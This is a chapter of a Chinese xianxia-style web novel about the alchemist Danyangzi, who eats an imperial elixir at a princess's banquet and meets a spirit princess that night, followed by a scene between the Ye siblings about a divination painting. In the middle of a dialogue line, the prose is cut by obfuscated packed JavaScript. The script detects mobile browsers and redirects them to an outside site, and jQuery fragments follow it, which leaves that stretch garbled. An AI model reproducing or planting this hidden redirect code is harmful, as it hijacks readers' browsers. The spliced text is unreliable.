56. 落凤

作品:《闻秋声

    “真人作为府内上宾,自然上座,由我来作陪,真人请。”驸马张游心毫不在意丹阳子落座的席位在自己上首,笑容满面,主动端起案几上的高足银杯,向丹阳子敬酒。


    厅中丝竹管乐声不停,云鬓高耸,身着羽衣披肩,璎珞飘带的舞女化作仙娥,或持拂尘玉圭,或奉玉简宝塔,仙乐杳杳,空灵庄严,整个宴客厅仿佛天庭盛会,令人沉浸其中,心驰神往。


    酒过三巡,几人面上皆有了醉意,唐敏有段时日没有这么随性而为了,有些控制不住地喋喋不休。


    “真人有所不知,我之所以此处作为府邸,乃是传言前朝时,此处曾有一观星台,一日有位公主登上观星台,看到千里之外民不聊生,边疆四域纷争不止,便怒斥昏君无人君之德,非天下共主。那昏君大怒,命人绑了公主将她自观星台上抛下,谁知恰有仙人经过,知晓公主乃是为民请命,就令仙鹤救下那位公主,随他一道修行,翩然而去。公主修行时依旧思念故国,传言在夜深人静时,公主就会在观星台现身,久久徘徊不肯离去,只要告诉她故国犹在,百姓安乐,公主就会传授仙法或仙药。”唐敏娓娓道来,声音低沉幽远,在满堂的炫目色彩里带着森森阴沉。


    不过她转目一笑,“本宫在此长居,未能得见前朝公主仙身,自然也没有福分得仙人赐下丹药,不过,府中有陛下御赐的丹药若干,不知可否比肩真人炼制的丹药?”


    “陛下御用的丹药,自然是极好的。”丹阳子轻松化解。


    “既然如此,来人,将陛下御赐的丹药奉上来,趁此良辰美景,我等共用,不负天恩。”长公主等的就是这句话,当即命人将宫中赐下的丹药奉上。


    三人案几前的托盘里,一侧是重瓣莲金盏里盛着琥珀色黄酒,色泽清亮,一侧是重瓣莲卷草纹样的金碟当中放着一颗白色的药丸,直径大小半寸有余,通体白润,有金纹在上若隐若现。


    “真人,请。”唐敏煞有其事地看着丹阳子,一脸玩味。


    丹阳子收回目光,看着案几托盘上的丹药,思索几息后,不再迟疑,拈起丹药缓缓凑在鼻前寸处,细细品闻试图分析丹药原料成分,应有犀角、麝香、朱砂、珍珠、还有郁金、雄黄、人参等物,清热解毒,镇惊开窍,用于热症。


    片刻后,丹阳子面露微笑,不卑不亢道:“宫中御赐之物,果然不同凡响,公主殿下肯割爱,贫道若是推辞,岂非不识抬举。”


    言罢,与唐敏探来的目光对上,将手中丹药放进口中,咀嚼片刻后以黄酒送服,盏中黄酒入喉,混合着丹药泛起一股甜腻香味,尚未来得及细细品味已随黄酒滚入腹中。


    唐敏满意地点头,“真人果然无愧于仙翁传人的名号,尽可放心服用,你在府上可是贵客,本宫岂敢怠慢?这颗丹药借花献佛,本宫的一点心意。”示意左右奉酒的侍女上前,为真人续满美酒,丝竹不歇,杯盏不停。


    夜半时分,星子高悬,无云无月,公主府中一道倩影推开玄通阁紧闭的门,在室内来回徘徊片刻后,直往丹阳子卧房而去。


    “生年不满百,常怀千岁忧。昼短苦夜长,何不秉烛游。……仙人王子乔,难可与等期。道友既然并未安寝,何不秉烛论道,怎知不是下一个仙人王子乔呢?”由远渐近的环佩叮当声中,幽幽女声伴随着婉转的唱腔传来。


    丹阳子起身,半醉半醒间点燃室内烛火,只见眼前女子绿鬓如云,花团锦簇,云锦披肩环身,环佩叮当,红蓝璎珞飘带无风自动,手执琉璃宝瓶,幽幽叹息:“小仙我观此处仙气缭绕,以为有道友在此修行,原来只是踏上半步仙途的小童,既如此,就当南柯一梦吧。”说罢扬手一挥,转身欲走。


    那女娥扬手一挥后,丹阳子脑内顿时混乱成一团,捂着昏昏沉沉的脑袋,出言艰难挽留:“仙子留步,如今我已燃起烛火,仙子无故中途离开,岂非无礼?”


    叮当声停住,那仙娥转过身来,轻蹙峨眉,“小童你既非道友,谈何论道?”


    “贫道是罗浮山黄龙洞黄龙观观主,乃是葛洪仙翁传人,请问仙娥可是前朝姜国那位为民请命的落凤公主?”丹阳子脑中昏沉无比,不知为何就想到了晚宴上唐敏口中的那位公主,脱口而出。


    “落凤公主?很久没人这么称呼我了。观星台久寻不见,我还以为早已时移世易,若非黄昏时有人间舞乐传来,我也不会在此现身,终究是故国难回。”仙娥默认了身份,难掩眉间怅惘之色。


    “落凤公主,你既已是修仙之人,人间沧海桑田,于你也是过眼云烟,何必伤怀?”丹阳子虽半醉半醒,却依旧不忘试探眼前仙娥。


    “修仙并非我本愿,观星台上误入此。我是抱着为民请命之心跳下观星台的,何惜此身?只是仙凡有别,若非人间相邀,我岂能轻易现身?罢了,你这小童,年岁不大,满是心机,就此作别。”那自认为落凤公主的仙娥目露轻蔑,飘然离去。


    丹阳子忙疾跑追上,赶在仙娥出玄通阁前掩上大门,作揖赔礼:“请仙子恕我眼拙,我愿为仙子讲述从罗浮山下到长安城中的人间景色,以悦仙子之心。”


    恭敬有礼的将仙娥请进燃着烛火的卧房中,丹阳子开始讲罗浮山下奇峰怪石,百姓劳作,梅园千里,南国风光。


    烛火燃半,丹阳子终于图穷匕见,“人间景色万千,需得足够长的时间去体会,不知仙子可否教授贫道些微道法,以便贫道走遍四域。”


    面前的仙娥沉吟片刻,点头答应,又挥了挥云袖,丹阳子头脑昏昏,内里莫名燥热,鼻尖充斥着甜腻香味,“你修行有误,丹药之途乃是借助外物,我在此拨乱反正,助你修行。玄牝之门,阳极阴始,阳得阴而化,阴得阳而通。”


    昏昏沉沉间沉浮在床榻上,丹阳子气喘如牛,仙娥却不动声色,手在丹阳子身上各位大穴轻点,丹阳子只觉丹田温阳一片,自己在这位仙娥的指引下飘飘欲仙,窥见修道之法,如灵光乍现,再难复刻。


    次日晨起,丹阳子将信将疑,查探过玄通阁内一切如旧,就连烛火,也与睡前无异,难道当真是仙娥入梦传授仙法?若真如此,说明自己仙缘匪浅,无奈那仙娥称需得人间相邀方可现身,可惜未问清人间如何相邀,不知日后有缘再会否?


    丹阳子将与仙娥梦中相会之事按下不表,遵照长公主的要求,炼制驻颜丹药,长公主言称若是丹药神效,会择机将丹阳子举荐给陛下,使他成为与国师神枢真人并肩的真仙。


    丹阳子当时决意入京,除了公主府的范典军软硬兼施外,自然也有私心:道法中兴,岂能无我辈之名?!


    仲春惊蛰,细雨如丝,春寒料峭,叶秋岳腋下夹着两张稿图以手遮雨快步走到留芳院厅堂廊下,轻轻跺着脚,问院子里的婢子,“妹妹在干嘛?”


    “三小姐在书房,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233126|197380||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    公子您擦擦。”清荷笑着递上巾帕给叶秋岳。


    叶秋岳抽出腋下的稿图,伸手接过帕子胡乱地擦着头上脸上的湿意,脚步不停朝东面书房走去。


    书房未关门,踏进书房才发现叶秋声坐在炉火前,身侧是一个大卷缸,缸里放的不是书画卷轴,而是一沓沓信件,窗户大开,有股烟熏火烧过的味道。


    “你在做什么?焚烧信件?”叶秋岳看书房里的架势,好奇发问。


    “唔,差不多吧。大哥来有事找我?”叶秋声没否认,起身看见叶秋岳衣袍上被细雨洇湿,走到书房门口唤人,“清荷,再取几条帕子来。大哥,你过来靠着炉火坐,你出门应当打伞的,当心着凉。”


    “好,我记下了。我来找你是关于那个稿图有个发现,思来想去拿不定主意,想来问问你怎么看。”叶秋岳应下妹妹的关心,道出目的。


    “还记得冬至时你卜到的喜鹊登枝吗,当时那张图上,单只的喜鹊在高枝上吟唱。我回去翻看了前人的画作,还有一些地区的风俗画,喜鹊登枝俱是双鹊相和,然后我又按照那图片的原样将单鹊誊下来,发现其实是有位置画上第二只喜鹊的,你看看。”叶秋岳将手中稿图打开,上面一张是叶秋声抽到的喜鹊登枝图,下面一张则是在原样的基础上新增了一只相和吟唱的喜鹊,构图大小一致,不同的是多了一只喜鹊。


    “这有什么区别吗?”叶秋声哭笑不得,没想到叶秋岳的冒雨前来就是为这事,“大哥,占卜而已,单鹊双鹊有什么所谓呢?”


    “不,你细细看第一幅那只鹊鸟的神态,当时卡片有限,看不仔细,我将图画放大誊在稿图上以后才发现,当时画这套卡片的画师,技艺远在我之上。”叶秋岳叹气,“我只是担心,这幅画的预言会应验在你身上,画中的鹊鸟形单影只,神态萧索,并非吉象。”


    “那大哥你打算画单鹊还是双鹊?”叶秋声并不在意那幅画中鹊鸟的姿态,见叶秋岳面色沉重,绕过卜象问起他的打算。


    叶秋岳摇摇头,耷拉着脑袋回道:“我还没想好。不过愈是誊写临摹,愈发觉得人外有人,我那点可怜见的天赋,不过是班门弄斧,有些挫败。”


    “大哥,群山之外还是群山,你就不就山,它都在那里,群山之下,谈何睥睨啊。”叶秋声叹息。


    兄妹二人久久未语,见大哥还在盯着炉火沉思,叶秋声随手自卷缸里捞出一封信件。


    信封上并未署名,拆开后粗略扫了一遍,是叶秋岳初去国子监,俱是各家勋贵官宦子弟,叶家祖父官职并不起眼,所以在国子监里,叶秋岳也不愿意惹人注目,一开始并没有几个朋友,是叶秋声提议,有什么想说的话都可以写下来作为信件带回来给自己,她就是大哥最好的听众。


    叶秋声看着信件轻扬唇角,迟疑片刻,还是将手中的信件装回信封,放回卷缸,笑着转移话题,“大哥,过两日濮阳公主府的陶小姐邀请我和莺莺去三阳观呢,我记得,观里有前朝大师的《穆王西巡》壁画,一起去看看呢。”


    “那预言别多想了,鹊登高枝,怎么看都是好兆头呀,再不济还有大哥你卖画养我呢,那由我来督促大哥的画技进步,也算未雨绸缪。”叶秋声继续宽慰。


    “秋声你总是这样贴心,好像没什么能难倒你,而我,反倒要你来宽慰,我这兄长当得真是……”叶秋岳自嘲一番,应下了叶秋声的建议。